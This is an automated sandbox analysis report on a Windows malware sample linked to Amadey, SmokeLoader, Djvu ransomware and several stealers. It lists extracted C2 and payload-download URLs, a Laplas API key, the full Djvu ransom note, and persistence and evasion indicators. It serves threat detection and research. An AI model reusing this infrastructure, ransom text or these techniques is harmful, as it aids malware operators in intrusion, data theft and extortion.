amadey | e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69

Analysis

max time kernel
120s
max time network
151s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
15-04-2023 10:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
Size

351KB
MD5

11472d7a71e987834c71c1dfe9eea130
SHA1

285c43fa2d98c92e9fd43dd979219ec49603341b
SHA256

e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69
SHA512

e977c031e2dfcdcee79ec9ce285b63949d284ef6ab811de726e542c086c8fe05e8c30cb37aa64b607c80156bbe355c6d5505aad5796f4ef48ecfc98d6956c1d8
SSDEEP

3072:7Xye3TeC/aL7EDjOfjGTP8rbcLaZwDIWNJYO3PppUs+Oo9RjXxmcB5cFFdl+OVT2:Dy8a3EDS28ZNYzQs+Oo9VXgD/dwe4

Score

10^/10

amadey djvu laplas rhadamanthys smokeloader vidar pub1 sprg backdoor clipper collection discovery evasion persistence ransomware spyware stealer trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

http://hoh0aeghwugh2gie.com/

http://hie7doodohpae4na.com/

http://aek0aicifaloh1yo.com/

http://yic0oosaeiy7ahng.com/

http://wa5zu7sekai8xeih.com/

http://aapu.at/tmp/

http://poudineh.com/tmp/

rc4.i32

Extracted

Family

smokeloader

Botnet

sprg

Extracted

Family

amadey

Version

3.70

77.73.134.27/n9kdjc3xSf/index.php

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

djvu

http://zexeq.com/lancer/get.php

Attributes

extension
.boty
offline_id
A5whrmSMRYQPLIwxS6XFix1PGn8lJ9uXUaipSat1
payload_url
http://uaery.top/dl/build2.exe

http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-eneUZ5ccES Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0688UIuhd

rsa_pubkey.plain

Extracted

Family

laplas

http://185.106.92.74

Attributes

api_key
bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect rhadamanthys stealer shellcode 2 IoCs

resource	yara_rule
behavioral1/memory/2696-634-0x0000000000890000-0x00000000008AC000-memory.dmp	family_rhadamanthys
behavioral1/memory/2696-646-0x0000000000890000-0x00000000008AC000-memory.dmp	family_rhadamanthys

Detected Djvu ransomware 15 IoCs

resource	yara_rule
behavioral1/memory/2056-213-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2056-215-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/5004-216-0x00000000025E0000-0x00000000026FB000-memory.dmp	family_djvu
behavioral1/memory/2056-217-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2056-223-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2056-246-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-252-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-253-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-258-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-259-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-260-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-264-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-266-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-267-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2432-277-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Laplas Clipper
Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.
stealer clipper laplas

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 4464 created 3188	4464	XandETC.exe	51
PID 4464 created 3188	4464	XandETC.exe	51
PID 4464 created 3188	4464	XandETC.exe	51
PID 4464 created 3188	4464	XandETC.exe	51
PID 4464 created 3188	4464	XandETC.exe	51
PID 2528 created 3188	2528	updater.exe	51

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
118	4324	rundll32.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
3188	Explorer.EXE

Executes dropped EXE 25 IoCs

pid	Process
2144	B22E.exe
4760	BABA.exe
4892	BF8E.exe
3976	oldplayer.exe
3776	ss31.exe
5004	C1A2.exe
4464	XandETC.exe
4172	oneetx.exe
4700	C404.exe
4828	C5AB.exe
2056	C1A2.exe
5036	CE38.exe
2072	oldplayer.exe
1648	C1A2.exe
2432	C1A2.exe
1544	2458.exe
2356	oneetx.exe
4020	360C.exe
2528	updater.exe
2696	95C1.exe
4936	build3.exe
2144	17500698951359325461.exe
2488	oneetx.exe
4548	mstsca.exe
3652	80805765610634044224.exe

Loads dropped DLL 2 IoCs

pid	Process
1544	2458.exe
1544	2458.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
428	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00030000000006dd-661.dat	upx
behavioral1/files/0x00030000000006dd-662.dat	upx
behavioral1/memory/2144-665-0x0000000000170000-0x0000000000FD3000-memory.dmp	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\3577a513-93d9-4bec-88b6-89e864faf765\\C1A2.exe\" --AutoStart"	C1A2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows\CurrentVersion\Run\telemetry = "C:\\Users\\Admin\\AppData\\Roaming\\telemetry\\svcservice.exe"	80805765610634044224.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.2ip.ua
19	api.2ip.ua
33	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3652	80805765610634044224.exe
3652	80805765610634044224.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5004 set thread context of 2056	5004	C1A2.exe	80
PID 1648 set thread context of 2432	1648	C1A2.exe	88
PID 4020 set thread context of 4324	4020	360C.exe	96

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	Explorer.EXE

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4828	sc.exe
4756	sc.exe
3952	sc.exe
4472	sc.exe
4928	sc.exe
3000	sc.exe
3976	sc.exe
4144	sc.exe
4060	sc.exe
1988	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
4268	4892	WerFault.exe	68
4648	4700	WerFault.exe	74
1136	5036	WerFault.exe	82
3524	4020	WerFault.exe	91
2844	4020	WerFault.exe	91
4760	4020	WerFault.exe	91
3500	4020	WerFault.exe	91

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B22E.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C5AB.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B22E.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B22E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C5AB.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C5AB.exe

Checks processor information in registry 2 TTPs 42 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	360C.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	360C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	360C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2458.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	360C.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	360C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	360C.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2458.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	360C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4620	schtasks.exe
2852	schtasks.exe
2084	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4052	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Modifies registry class 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3188	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4448	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
4448	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
